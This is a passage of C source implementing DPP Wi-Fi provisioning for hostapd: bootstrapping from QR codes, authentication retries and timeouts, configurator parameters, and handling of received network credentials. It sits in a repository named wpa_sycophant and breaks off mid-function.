wpa_sycophant-master/src/ap/dpp_hostapd.c000066400000000000000000001553221377436615100211130ustar00rootroot00000000000000/* * hostapd / DPP integration * Copyright (c) 2017, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "common/dpp.h" #include "common/gas.h" #include "common/wpa_ctrl.h" #include "hostapd.h" #include "ap_drv_ops.h" #include "gas_query_ap.h" #include "wpa_auth.h" #include "dpp_hostapd.h" static void hostapd_dpp_reply_wait_timeout(void *eloop_ctx, void *timeout_ctx); static void hostapd_dpp_auth_success(struct hostapd_data *hapd, int initiator); static void hostapd_dpp_init_timeout(void *eloop_ctx, void *timeout_ctx); static int hostapd_dpp_auth_init_next(struct hostapd_data *hapd); static const u8 broadcast[ETH_ALEN] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; static struct dpp_configurator * hostapd_dpp_configurator_get_id(struct hostapd_data *hapd, unsigned int id) { struct dpp_configurator *conf; dl_list_for_each(conf, &hapd->iface->interfaces->dpp_configurator, struct dpp_configurator, list) { if (conf->id == id) return conf; } return NULL; } static unsigned int hapd_dpp_next_id(struct hostapd_data *hapd) { struct dpp_bootstrap_info *bi; unsigned int max_id = 0; dl_list_for_each(bi, &hapd->iface->interfaces->dpp_bootstrap, struct dpp_bootstrap_info, list) { if (bi->id > max_id) max_id = bi->id; } return max_id + 1; } /** * hostapd_dpp_qr_code - Parse and add DPP bootstrapping info from a QR Code * @hapd: Pointer to hostapd_data * @cmd: DPP URI read from a QR Code * Returns: Identifier of the stored info or -1 on failure */ int hostapd_dpp_qr_code(struct hostapd_data *hapd, const char *cmd) { struct dpp_bootstrap_info *bi; struct dpp_authentication *auth = hapd->dpp_auth; bi = dpp_parse_qr_code(cmd); if (!bi) return -1; bi->id = hapd_dpp_next_id(hapd); dl_list_add(&hapd->iface->interfaces->dpp_bootstrap, &bi->list); if (auth && auth->response_pending && dpp_notify_new_qr_code(auth, bi) == 1) { wpa_printf(MSG_DEBUG, "DPP: Sending out pending authentication response"); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_TX "dst=" MACSTR " freq=%u type=%d", MAC2STR(auth->peer_mac_addr), auth->curr_freq, DPP_PA_AUTHENTICATION_RESP); hostapd_drv_send_action(hapd, auth->curr_freq, 0, auth->peer_mac_addr, wpabuf_head(hapd->dpp_auth->resp_msg), wpabuf_len(hapd->dpp_auth->resp_msg)); } return bi->id; } static char * get_param(const char *cmd, const char *param) { const char *pos, *end; char *val; size_t len; pos = os_strstr(cmd, param); if (!pos) return NULL; pos += os_strlen(param); end = os_strchr(pos, ' '); if (end) len = end - pos; else len = os_strlen(pos); val = os_malloc(len + 1); if (!val) return NULL; os_memcpy(val, pos, len); val[len] = '\0'; return val; } int hostapd_dpp_bootstrap_gen(struct hostapd_data *hapd, const char *cmd) { char *chan = NULL, *mac = NULL, *info = NULL, *pk = NULL, *curve = NULL; char *key = NULL; u8 *privkey = NULL; size_t privkey_len = 0; size_t len; int ret = -1; struct dpp_bootstrap_info *bi; bi = os_zalloc(sizeof(*bi)); if (!bi) goto fail; if (os_strstr(cmd, "type=qrcode")) bi->type = DPP_BOOTSTRAP_QR_CODE; else if (os_strstr(cmd, "type=pkex")) bi->type = DPP_BOOTSTRAP_PKEX; else goto fail; chan = get_param(cmd, " chan="); mac = get_param(cmd, " mac="); info = get_param(cmd, " info="); curve = get_param(cmd, " curve="); key = get_param(cmd, " key="); if (key) { privkey_len = os_strlen(key) / 2; privkey = os_malloc(privkey_len); if (!privkey || hexstr2bin(key, privkey, privkey_len) < 0) goto fail; } pk = dpp_keygen(bi, curve, privkey, privkey_len); if (!pk) goto fail; len = 4; /* "DPP:" */ if (chan) { if (dpp_parse_uri_chan_list(bi, chan) < 0) goto fail; len += 3 + os_strlen(chan); /* C:...; */ } if (mac) { if (dpp_parse_uri_mac(bi, mac) < 0) goto fail; len += 3 + os_strlen(mac); /* M:...; */ } if (info) { if (dpp_parse_uri_info(bi, info) < 0) goto fail; len += 3 + os_strlen(info); /* I:...; */ } len += 4 + os_strlen(pk); bi->uri = os_malloc(len + 1); if (!bi->uri) goto fail; os_snprintf(bi->uri, len + 1, "DPP:%s%s%s%s%s%s%s%s%sK:%s;;", chan ? "C:" : "", chan ? chan : "", chan ? ";" : "", mac ? "M:" : "", mac ? mac : "", mac ? ";" : "", info ? "I:" : "", info ? info : "", info ? ";" : "", pk); bi->id = hapd_dpp_next_id(hapd); dl_list_add(&hapd->iface->interfaces->dpp_bootstrap, &bi->list); ret = bi->id; bi = NULL; fail: os_free(curve); os_free(pk); os_free(chan); os_free(mac); os_free(info); str_clear_free(key); bin_clear_free(privkey, privkey_len); dpp_bootstrap_info_free(bi); return ret; } static struct dpp_bootstrap_info * dpp_bootstrap_get_id(struct hostapd_data *hapd, unsigned int id) { struct dpp_bootstrap_info *bi; dl_list_for_each(bi, &hapd->iface->interfaces->dpp_bootstrap, struct dpp_bootstrap_info, list) { if (bi->id == id) return bi; } return NULL; } static int dpp_bootstrap_del(struct hapd_interfaces *ifaces, unsigned int id) { struct dpp_bootstrap_info *bi, *tmp; int found = 0; dl_list_for_each_safe(bi, tmp, &ifaces->dpp_bootstrap, struct dpp_bootstrap_info, list) { if (id && bi->id != id) continue; found = 1; dl_list_del(&bi->list); dpp_bootstrap_info_free(bi); } if (id == 0) return 0; /* flush succeeds regardless of entries found */ return found ? 0 : -1; } int hostapd_dpp_bootstrap_remove(struct hostapd_data *hapd, const char *id) { unsigned int id_val; if (os_strcmp(id, "*") == 0) { id_val = 0; } else { id_val = atoi(id); if (id_val == 0) return -1; } return dpp_bootstrap_del(hapd->iface->interfaces, id_val); } const char * hostapd_dpp_bootstrap_get_uri(struct hostapd_data *hapd, unsigned int id) { struct dpp_bootstrap_info *bi; bi = dpp_bootstrap_get_id(hapd, id); if (!bi) return NULL; return bi->uri; } int hostapd_dpp_bootstrap_info(struct hostapd_data *hapd, int id, char *reply, int reply_size) { struct dpp_bootstrap_info *bi; bi = dpp_bootstrap_get_id(hapd, id); if (!bi) return -1; return os_snprintf(reply, reply_size, "type=%s\n" "mac_addr=" MACSTR "\n" "info=%s\n" "num_freq=%u\n" "curve=%s\n", dpp_bootstrap_type_txt(bi->type), MAC2STR(bi->mac_addr), bi->info ? bi->info : "", bi->num_freq, bi->curve->name); } static void hostapd_dpp_auth_resp_retry_timeout(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct dpp_authentication *auth = hapd->dpp_auth; if (!auth || !auth->resp_msg) return; wpa_printf(MSG_DEBUG, "DPP: Retry Authentication Response after timeout"); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_TX "dst=" MACSTR " freq=%u type=%d", MAC2STR(auth->peer_mac_addr), auth->curr_freq, DPP_PA_AUTHENTICATION_RESP); hostapd_drv_send_action(hapd, auth->curr_freq, 500, auth->peer_mac_addr, wpabuf_head(auth->resp_msg), wpabuf_len(auth->resp_msg)); } static void hostapd_dpp_auth_resp_retry(struct hostapd_data *hapd) { struct dpp_authentication *auth = hapd->dpp_auth; unsigned int wait_time, max_tries; if (!auth || !auth->resp_msg) return; if (hapd->dpp_resp_max_tries) max_tries = hapd->dpp_resp_max_tries; else max_tries = 5; auth->auth_resp_tries++; if (auth->auth_resp_tries >= max_tries) { wpa_printf(MSG_INFO, "DPP: No confirm received from initiator - stopping exchange"); hostapd_drv_send_action_cancel_wait(hapd); dpp_auth_deinit(hapd->dpp_auth); hapd->dpp_auth = NULL; return; } if (hapd->dpp_resp_retry_time) wait_time = hapd->dpp_resp_retry_time; else wait_time = 1000; wpa_printf(MSG_DEBUG, "DPP: Schedule retransmission of Authentication Response frame in %u ms", wait_time); eloop_cancel_timeout(hostapd_dpp_auth_resp_retry_timeout, hapd, NULL); eloop_register_timeout(wait_time / 1000, (wait_time % 1000) * 1000, hostapd_dpp_auth_resp_retry_timeout, hapd, NULL); } void hostapd_dpp_tx_status(struct hostapd_data *hapd, const u8 *dst, const u8 *data, size_t data_len, int ok) { struct dpp_authentication *auth = hapd->dpp_auth; wpa_printf(MSG_DEBUG, "DPP: TX status: dst=" MACSTR " ok=%d", MAC2STR(dst), ok); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_TX_STATUS "dst=" MACSTR " result=%s", MAC2STR(dst), ok ? "SUCCESS" : "FAILED"); if (!hapd->dpp_auth) { wpa_printf(MSG_DEBUG, "DPP: Ignore TX status since there is no ongoing authentication exchange"); return; } if (hapd->dpp_auth->remove_on_tx_status) { wpa_printf(MSG_DEBUG, "DPP: Terminate authentication exchange due to an earlier error"); eloop_cancel_timeout(hostapd_dpp_init_timeout, hapd, NULL); eloop_cancel_timeout(hostapd_dpp_reply_wait_timeout, hapd, NULL); eloop_cancel_timeout(hostapd_dpp_auth_resp_retry_timeout, hapd, NULL); hostapd_drv_send_action_cancel_wait(hapd); dpp_auth_deinit(hapd->dpp_auth); hapd->dpp_auth = NULL; return; } if (hapd->dpp_auth_ok_on_ack) hostapd_dpp_auth_success(hapd, 1); if (!is_broadcast_ether_addr(dst) && !ok) { wpa_printf(MSG_DEBUG, "DPP: Unicast DPP Action frame was not ACKed"); if (auth->waiting_auth_resp) { /* In case of DPP Authentication Request frame, move to * the next channel immediately. */ hostapd_drv_send_action_cancel_wait(hapd); hostapd_dpp_auth_init_next(hapd); return; } if (auth->waiting_auth_conf) { hostapd_dpp_auth_resp_retry(hapd); return; } } if (!is_broadcast_ether_addr(dst) && auth->waiting_auth_resp && ok) { /* Allow timeout handling to stop iteration if no response is * received from a peer that has ACKed a request. */ auth->auth_req_ack = 1; } if (!hapd->dpp_auth_ok_on_ack && hapd->dpp_auth->neg_freq > 0 && hapd->dpp_auth->curr_freq != hapd->dpp_auth->neg_freq) { wpa_printf(MSG_DEBUG, "DPP: Move from curr_freq %u MHz to neg_freq %u MHz for response", hapd->dpp_auth->curr_freq, hapd->dpp_auth->neg_freq); hostapd_drv_send_action_cancel_wait(hapd); if (hapd->dpp_auth->neg_freq != (unsigned int) hapd->iface->freq && hapd->iface->freq > 0) { /* TODO: Listen operation on non-operating channel */ wpa_printf(MSG_INFO, "DPP: Listen operation on non-operating channel (%d MHz) is not yet supported (operating channel: %d MHz)", hapd->dpp_auth->neg_freq, hapd->iface->freq); } } if (hapd->dpp_auth_ok_on_ack) hapd->dpp_auth_ok_on_ack = 0; } static void hostapd_dpp_reply_wait_timeout(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct dpp_authentication *auth = hapd->dpp_auth; unsigned int freq; struct os_reltime now, diff; unsigned int wait_time, diff_ms; if (!auth || !auth->waiting_auth_resp) return; wait_time = hapd->dpp_resp_wait_time ? hapd->dpp_resp_wait_time : 2000; os_get_reltime(&now); os_reltime_sub(&now, &hapd->dpp_last_init, &diff); diff_ms = diff.sec * 1000 + diff.usec / 1000; wpa_printf(MSG_DEBUG, "DPP: Reply wait timeout - wait_time=%u diff_ms=%u", wait_time, diff_ms); if (auth->auth_req_ack && diff_ms >= wait_time) { /* Peer ACK'ed Authentication Request frame, but did not reply * with Authentication Response frame within two seconds. */ wpa_printf(MSG_INFO, "DPP: No response received from responder - stopping initiation attempt"); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_AUTH_INIT_FAILED); hostapd_drv_send_action_cancel_wait(hapd); hostapd_dpp_listen_stop(hapd); dpp_auth_deinit(auth); hapd->dpp_auth = NULL; return; } if (diff_ms >= wait_time) { /* Authentication Request frame was not ACK'ed and no reply * was receiving within two seconds. */ wpa_printf(MSG_DEBUG, "DPP: Continue Initiator channel iteration"); hostapd_drv_send_action_cancel_wait(hapd); hostapd_dpp_listen_stop(hapd); hostapd_dpp_auth_init_next(hapd); return; } /* Driver did not support 2000 ms long wait_time with TX command, so * schedule listen operation to continue waiting for the response. * * DPP listen operations continue until stopped, so simply schedule a * new call to this function at the point when the two second reply * wait has expired. */ wait_time -= diff_ms; freq = auth->curr_freq; if (auth->neg_freq > 0) freq = auth->neg_freq; wpa_printf(MSG_DEBUG, "DPP: Continue reply wait on channel %u MHz for %u ms", freq, wait_time); hapd->dpp_in_response_listen = 1; if (freq != (unsigned int) hapd->iface->freq && hapd->iface->freq > 0) { /* TODO: Listen operation on non-operating channel */ wpa_printf(MSG_INFO, "DPP: Listen operation on non-operating channel (%d MHz) is not yet supported (operating channel: %d MHz)", freq, hapd->iface->freq); } eloop_register_timeout(wait_time / 1000, (wait_time % 1000) * 1000, hostapd_dpp_reply_wait_timeout, hapd, NULL); } static void hostapd_dpp_set_testing_options(struct hostapd_data *hapd, struct dpp_authentication *auth) { #ifdef CONFIG_TESTING_OPTIONS if (hapd->dpp_config_obj_override) auth->config_obj_override = os_strdup(hapd->dpp_config_obj_override); if (hapd->dpp_discovery_override) auth->discovery_override = os_strdup(hapd->dpp_discovery_override); if (hapd->dpp_groups_override) auth->groups_override = os_strdup(hapd->dpp_groups_override); auth->ignore_netaccesskey_mismatch = hapd->dpp_ignore_netaccesskey_mismatch; #endif /* CONFIG_TESTING_OPTIONS */ } static void hostapd_dpp_set_configurator(struct hostapd_data *hapd, struct dpp_authentication *auth, const char *cmd) { const char *pos, *end; struct dpp_configuration *conf_sta = NULL, *conf_ap = NULL; struct dpp_configurator *conf = NULL; u8 ssid[32] = { "test" }; size_t ssid_len = 4; char pass[64] = { }; size_t pass_len = 0; u8 psk[PMK_LEN]; int psk_set = 0; if (!cmd) return; wpa_printf(MSG_DEBUG, "DPP: Set configurator parameters: %s", cmd); pos = os_strstr(cmd, " ssid="); if (pos) { pos += 6; end = os_strchr(pos, ' '); ssid_len = end ? (size_t) (end - pos) : os_strlen(pos); ssid_len /= 2; if (ssid_len > sizeof(ssid) || hexstr2bin(pos, ssid, ssid_len) < 0) goto fail; } pos = os_strstr(cmd, " pass="); if (pos) { pos += 6; end = os_strchr(pos, ' '); pass_len = end ? (size_t) (end - pos) : os_strlen(pos); pass_len /= 2; if (pass_len > sizeof(pass) - 1 || pass_len < 8 || hexstr2bin(pos, (u8 *) pass, pass_len) < 0) goto fail; } pos = os_strstr(cmd, " psk="); if (pos) { pos += 5; if (hexstr2bin(pos, psk, PMK_LEN) < 0) goto fail; psk_set = 1; } if (os_strstr(cmd, " conf=sta-")) { conf_sta = os_zalloc(sizeof(struct dpp_configuration)); if (!conf_sta) goto fail; os_memcpy(conf_sta->ssid, ssid, ssid_len); conf_sta->ssid_len = ssid_len; if (os_strstr(cmd, " conf=sta-psk") || os_strstr(cmd, " conf=sta-sae") || os_strstr(cmd, " conf=sta-psk-sae")) { if (os_strstr(cmd, " conf=sta-psk-sae")) conf_sta->akm = DPP_AKM_PSK_SAE; else if (os_strstr(cmd, " conf=sta-sae")) conf_sta->akm = DPP_AKM_SAE; else conf_sta->akm = DPP_AKM_PSK; if (psk_set) { os_memcpy(conf_sta->psk, psk, PMK_LEN); } else { conf_sta->passphrase = os_strdup(pass); if (!conf_sta->passphrase) goto fail; } } else if (os_strstr(cmd, " conf=sta-dpp")) { conf_sta->akm = DPP_AKM_DPP; } else { goto fail; } } if (os_strstr(cmd, " conf=ap-")) { conf_ap = os_zalloc(sizeof(struct dpp_configuration)); if (!conf_ap) goto fail; os_memcpy(conf_ap->ssid, ssid, ssid_len); conf_ap->ssid_len = ssid_len; if (os_strstr(cmd, " conf=ap-psk") || os_strstr(cmd, " conf=ap-sae") || os_strstr(cmd, " conf=ap-psk-sae")) { if (os_strstr(cmd, " conf=ap-psk-sae")) conf_ap->akm = DPP_AKM_PSK_SAE; else if (os_strstr(cmd, " conf=ap-sae")) conf_ap->akm = DPP_AKM_SAE; else conf_ap->akm = DPP_AKM_PSK; if (psk_set) { os_memcpy(conf_ap->psk, psk, PMK_LEN); } else { conf_ap->passphrase = os_strdup(pass); if (!conf_ap->passphrase) goto fail; } } else if (os_strstr(cmd, " conf=ap-dpp")) { conf_ap->akm = DPP_AKM_DPP; } else { goto fail; } } pos = os_strstr(cmd, " expiry="); if (pos) { long int val; pos += 8; val = strtol(pos, NULL, 0); if (val <= 0) goto fail; if (conf_sta) conf_sta->netaccesskey_expiry = val; if (conf_ap) conf_ap->netaccesskey_expiry = val; } pos = os_strstr(cmd, " configurator="); if (pos) { auth->configurator = 1; pos += 14; conf = hostapd_dpp_configurator_get_id(hapd, atoi(pos)); if (!conf) { wpa_printf(MSG_INFO, "DPP: Could not find the specified configurator"); goto fail; } } auth->conf_sta = conf_sta; auth->conf_ap = conf_ap; auth->conf = conf; return; fail: wpa_printf(MSG_DEBUG, "DPP: Failed to set configurator parameters"); dpp_configuration_free(conf_sta); dpp_configuration_free(conf_ap); } static void hostapd_dpp_init_timeout(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; if (!hapd->dpp_auth) return; wpa_printf(MSG_DEBUG, "DPP: Retry initiation after timeout"); hostapd_dpp_auth_init_next(hapd); } static int hostapd_dpp_auth_init_next(struct hostapd_data *hapd) { struct dpp_authentication *auth = hapd->dpp_auth; const u8 *dst; unsigned int wait_time, max_wait_time, freq, max_tries, used; struct os_reltime now, diff; if (!auth) return -1; if (auth->freq_idx == 0) os_get_reltime(&hapd->dpp_init_iter_start); if (auth->freq_idx >= auth->num_freq) { auth->num_freq_iters++; if (hapd->dpp_init_max_tries) max_tries = hapd->dpp_init_max_tries; else max_tries = 5; if (auth->num_freq_iters >= max_tries || auth->auth_req_ack) { wpa_printf(MSG_INFO, "DPP: No response received from responder - stopping initiation attempt"); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_AUTH_INIT_FAILED); eloop_cancel_timeout(hostapd_dpp_reply_wait_timeout, hapd, NULL); hostapd_drv_send_action_cancel_wait(hapd); dpp_auth_deinit(hapd->dpp_auth); hapd->dpp_auth = NULL; return -1; } auth->freq_idx = 0; eloop_cancel_timeout(hostapd_dpp_init_timeout, hapd, NULL); if (hapd->dpp_init_retry_time) wait_time = hapd->dpp_init_retry_time; else wait_time = 10000; os_get_reltime(&now); os_reltime_sub(&now, &hapd->dpp_init_iter_start, &diff); used = diff.sec * 1000 + diff.usec / 1000; if (used > wait_time) wait_time = 0; else wait_time -= used; wpa_printf(MSG_DEBUG, "DPP: Next init attempt in %u ms", wait_time); eloop_register_timeout(wait_time / 1000, (wait_time % 1000) * 1000, hostapd_dpp_init_timeout, hapd, NULL); return 0; } freq = auth->freq[auth->freq_idx++]; auth->curr_freq = freq; if (is_zero_ether_addr(auth->peer_bi->mac_addr)) dst = broadcast; else dst = auth->peer_bi->mac_addr; hapd->dpp_auth_ok_on_ack = 0; eloop_cancel_timeout(hostapd_dpp_reply_wait_timeout, hapd, NULL); wait_time = 2000; /* TODO: hapd->max_remain_on_chan; */ max_wait_time = hapd->dpp_resp_wait_time ? hapd->dpp_resp_wait_time : 2000; if (wait_time > max_wait_time) wait_time = max_wait_time; wait_time += 10; /* give the driver some extra time to complete */ eloop_register_timeout(wait_time / 1000, (wait_time % 1000) * 1000, hostapd_dpp_reply_wait_timeout, hapd, NULL); wait_time -= 10; if (auth->neg_freq > 0 && freq != auth->neg_freq) { wpa_printf(MSG_DEBUG, "DPP: Initiate on %u MHz and move to neg_freq %u MHz for response", freq, auth->neg_freq); } wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_TX "dst=" MACSTR " freq=%u type=%d", MAC2STR(dst), freq, DPP_PA_AUTHENTICATION_REQ); auth->auth_req_ack = 0; os_get_reltime(&hapd->dpp_last_init); return hostapd_drv_send_action(hapd, freq, wait_time, dst, wpabuf_head(hapd->dpp_auth->req_msg), wpabuf_len(hapd->dpp_auth->req_msg)); } int hostapd_dpp_auth_init(struct hostapd_data *hapd, const char *cmd) { const char *pos; struct dpp_bootstrap_info *peer_bi, *own_bi = NULL; u8 allowed_roles = DPP_CAPAB_CONFIGURATOR; unsigned int neg_freq = 0; pos = os_strstr(cmd, " peer="); if (!pos) return -1; pos += 6; peer_bi = dpp_bootstrap_get_id(hapd, atoi(pos)); if (!peer_bi) { wpa_printf(MSG_INFO, "DPP: Could not find bootstrapping info for the identified peer"); return -1; } pos = os_strstr(cmd, " own="); if (pos) { pos += 5; own_bi = dpp_bootstrap_get_id(hapd, atoi(pos)); if (!own_bi) { wpa_printf(MSG_INFO, "DPP: Could not find bootstrapping info for the identified local entry"); return -1; } if (peer_bi->curve != own_bi->curve) { wpa_printf(MSG_INFO, "DPP: Mismatching curves in bootstrapping info (peer=%s own=%s)", peer_bi->curve->name, own_bi->curve->name); return -1; } } pos = os_strstr(cmd, " role="); if (pos) { pos += 6; if (os_strncmp(pos, "configurator", 12) == 0) allowed_roles = DPP_CAPAB_CONFIGURATOR; else if (os_strncmp(pos, "enrollee", 8) == 0) allowed_roles = DPP_CAPAB_ENROLLEE; else if (os_strncmp(pos, "either", 6) == 0) allowed_roles = DPP_CAPAB_CONFIGURATOR | DPP_CAPAB_ENROLLEE; else goto fail; } pos = os_strstr(cmd, " neg_freq="); if (pos) neg_freq = atoi(pos + 10); if (hapd->dpp_auth) { eloop_cancel_timeout(hostapd_dpp_init_timeout, hapd, NULL); eloop_cancel_timeout(hostapd_dpp_reply_wait_timeout, hapd, NULL); eloop_cancel_timeout(hostapd_dpp_auth_resp_retry_timeout, hapd, NULL); hostapd_drv_send_action_cancel_wait(hapd); dpp_auth_deinit(hapd->dpp_auth); } hapd->dpp_auth = dpp_auth_init(hapd->msg_ctx, peer_bi, own_bi, allowed_roles, neg_freq, hapd->iface->hw_features, hapd->iface->num_hw_features); if (!hapd->dpp_auth) goto fail; hostapd_dpp_set_testing_options(hapd, hapd->dpp_auth); hostapd_dpp_set_configurator(hapd, hapd->dpp_auth, cmd); hapd->dpp_auth->neg_freq = neg_freq; if (!is_zero_ether_addr(peer_bi->mac_addr)) os_memcpy(hapd->dpp_auth->peer_mac_addr, peer_bi->mac_addr, ETH_ALEN); return hostapd_dpp_auth_init_next(hapd); fail: return -1; } int hostapd_dpp_listen(struct hostapd_data *hapd, const char *cmd) { int freq; freq = atoi(cmd); if (freq <= 0) return -1; if (os_strstr(cmd, " role=configurator")) hapd->dpp_allowed_roles = DPP_CAPAB_CONFIGURATOR; else if (os_strstr(cmd, " role=enrollee")) hapd->dpp_allowed_roles = DPP_CAPAB_ENROLLEE; else hapd->dpp_allowed_roles = DPP_CAPAB_CONFIGURATOR | DPP_CAPAB_ENROLLEE; hapd->dpp_qr_mutual = os_strstr(cmd, " qr=mutual") != NULL; if (freq != hapd->iface->freq && hapd->iface->freq > 0) { /* TODO: Listen operation on non-operating channel */ wpa_printf(MSG_INFO, "DPP: Listen operation on non-operating channel (%d MHz) is not yet supported (operating channel: %d MHz)", freq, hapd->iface->freq); return -1; } return 0; } void hostapd_dpp_listen_stop(struct hostapd_data *hapd) { /* TODO: Stop listen operation on non-operating channel */ } static void hostapd_dpp_rx_auth_req(struct hostapd_data *hapd, const u8 *src, const u8 *hdr, const u8 *buf, size_t len, unsigned int freq) { const u8 *r_bootstrap, *i_bootstrap; u16 r_bootstrap_len, i_bootstrap_len; struct dpp_bootstrap_info *bi, *own_bi = NULL, *peer_bi = NULL; wpa_printf(MSG_DEBUG, "DPP: Authentication Request from " MACSTR, MAC2STR(src)); r_bootstrap = dpp_get_attr(buf, len, DPP_ATTR_R_BOOTSTRAP_KEY_HASH, &r_bootstrap_len); if (!r_bootstrap || r_bootstrap_len != SHA256_MAC_LEN) { wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_FAIL "Missing or invalid required Responder Bootstrapping Key Hash attribute"); return; } wpa_hexdump(MSG_MSGDUMP, "DPP: Responder Bootstrapping Key Hash", r_bootstrap, r_bootstrap_len); i_bootstrap = dpp_get_attr(buf, len, DPP_ATTR_I_BOOTSTRAP_KEY_HASH, &i_bootstrap_len); if (!i_bootstrap || i_bootstrap_len != SHA256_MAC_LEN) { wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_FAIL "Missing or invalid required Initiator Bootstrapping Key Hash attribute"); return; } wpa_hexdump(MSG_MSGDUMP, "DPP: Initiator Bootstrapping Key Hash", i_bootstrap, i_bootstrap_len); /* Try to find own and peer bootstrapping key matches based on the * received hash values */ dl_list_for_each(bi, &hapd->iface->interfaces->dpp_bootstrap, struct dpp_bootstrap_info, list) { if (!own_bi && bi->own && os_memcmp(bi->pubkey_hash, r_bootstrap, SHA256_MAC_LEN) == 0) { wpa_printf(MSG_DEBUG, "DPP: Found matching own bootstrapping information"); own_bi = bi; } if (!peer_bi && !bi->own && os_memcmp(bi->pubkey_hash, i_bootstrap, SHA256_MAC_LEN) == 0) { wpa_printf(MSG_DEBUG, "DPP: Found matching peer bootstrapping information"); peer_bi = bi; } if (own_bi && peer_bi) break; } if (!own_bi) { wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_FAIL "No matching own bootstrapping key found - ignore message"); return; } if (hapd->dpp_auth) { wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_FAIL "Already in DPP authentication exchange - ignore new one"); return; } hapd->dpp_auth_ok_on_ack = 0; hapd->dpp_auth = dpp_auth_req_rx(hapd->msg_ctx, hapd->dpp_allowed_roles, hapd->dpp_qr_mutual, peer_bi, own_bi, freq, hdr, buf, len); if (!hapd->dpp_auth) { wpa_printf(MSG_DEBUG, "DPP: No response generated"); return; } hostapd_dpp_set_testing_options(hapd, hapd->dpp_auth); hostapd_dpp_set_configurator(hapd, hapd->dpp_auth, hapd->dpp_configurator_params); os_memcpy(hapd->dpp_auth->peer_mac_addr, src, ETH_ALEN); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_TX "dst=" MACSTR " freq=%u type=%d", MAC2STR(src), hapd->dpp_auth->curr_freq, DPP_PA_AUTHENTICATION_RESP); hostapd_drv_send_action(hapd, hapd->dpp_auth->curr_freq, 0, src, wpabuf_head(hapd->dpp_auth->resp_msg), wpabuf_len(hapd->dpp_auth->resp_msg)); } static void hostapd_dpp_handle_config_obj(struct hostapd_data *hapd, struct dpp_authentication *auth) { wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_CONF_RECEIVED); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_CONFOBJ_AKM "%s", dpp_akm_str(auth->akm)); if (auth->ssid_len) wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_CONFOBJ_SSID "%s", wpa_ssid_txt(auth->ssid, auth->ssid_len)); if (auth->connector) { /* TODO: Save the Connector and consider using a command * to fetch the value instead of sending an event with * it. The Connector could end up being larger than what * most clients are ready to receive as an event * message. */ wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_CONNECTOR "%s", auth->connector); } else if (auth->passphrase[0]) { char hex[64 * 2 + 1]; wpa_snprintf_hex(hex, sizeof(hex), (const u8 *) auth->passphrase, os_strlen(auth->passphrase)); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_CONFOBJ_PASS "%s", hex); } else if (auth->psk_set) { char hex[PMK_LEN * 2 + 1]; wpa_snprintf_hex(hex, sizeof(hex), auth->psk, PMK_LEN); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_CONFOBJ_PSK "%s", hex); } if (auth->c_sign_key) { char *hex; size_t hexlen; hexlen = 2 * wpabuf_len(auth->c_sign_key) + 1; hex = os_malloc(hexlen); if (hex) { wpa_snprintf_hex(hex, hexlen, wpabuf_head(auth->c_sign_key), wpabuf_len(auth->c_sign_key)); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_C_SIGN_KEY "%s", hex); os_free(hex); } } if (auth->net_access_key) { char *hex; size_t hexlen; hexlen = 2 * wpabuf_len(auth->net_access_key) + 1; hex = os_malloc(hexlen); if (hex) { wpa_snprintf_hex(hex, hexlen, wpabuf_head(auth->net_access_key), wpabuf_len(auth->net_access_key)); if (auth->net_access_key_expiry) wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_NET_ACCESS_KEY "%s %lu", hex, (unsigned long) auth->net_access_key_expiry); else wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_NET_ACCESS_KEY "%s", hex); os_free(hex); } } } static void hostapd_dpp_gas_resp_cb(void *ctx, const u8 *addr, u8 dialog_token, enum gas_query_ap_result result, const struct wpabuf *adv_proto, const struct wpabuf *resp, u16 status_code) { struct hostapd_data *hapd = ctx; const u8 *pos; struct dpp_authentication *auth = hapd->dpp_auth; if (!auth || !auth->auth_success) { wpa_printf(MSG_DEBUG, "DPP: No matching exchange in progress"); return; } if (!resp || status_code != WLAN_STATUS_SUCCESS) { wpa_printf(MSG_DEBUG, "DPP: GAS query did not succeed"); goto fail; } wpa_hexdump_buf(MSG_DEBUG, "DPP: Configuration Response adv_proto", adv_proto); wpa_hexdump_buf(MSG_DEBUG, "DPP: Configuration Response (GAS response)", resp); if (wpabuf_len(adv_proto) != 10 || !(pos = wpabuf_head(adv_proto)) || pos[0] != WLAN_EID_ADV_PROTO || pos[1] != 8 || pos[3] != WLAN_EID_VENDOR_SPECIFIC || pos[4] != 5 || WPA_GET_BE24(&pos[5]) != OUI_WFA || pos[8] != 0x1a || pos[9] != 1) { wpa_printf(MSG_DEBUG, "DPP: Not a DPP Advertisement Protocol ID"); goto fail; } if (dpp_conf_resp_rx(auth, resp) < 0) { wpa_printf(MSG_DEBUG, "DPP: Configuration attempt failed"); goto fail; } hostapd_dpp_handle_config_obj(hapd, auth); dpp_auth_deinit(hapd->dpp_auth); hapd->dpp_auth = NULL; return; fail: wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_CONF_FAILED); dpp_auth_deinit(hapd->dpp_auth); 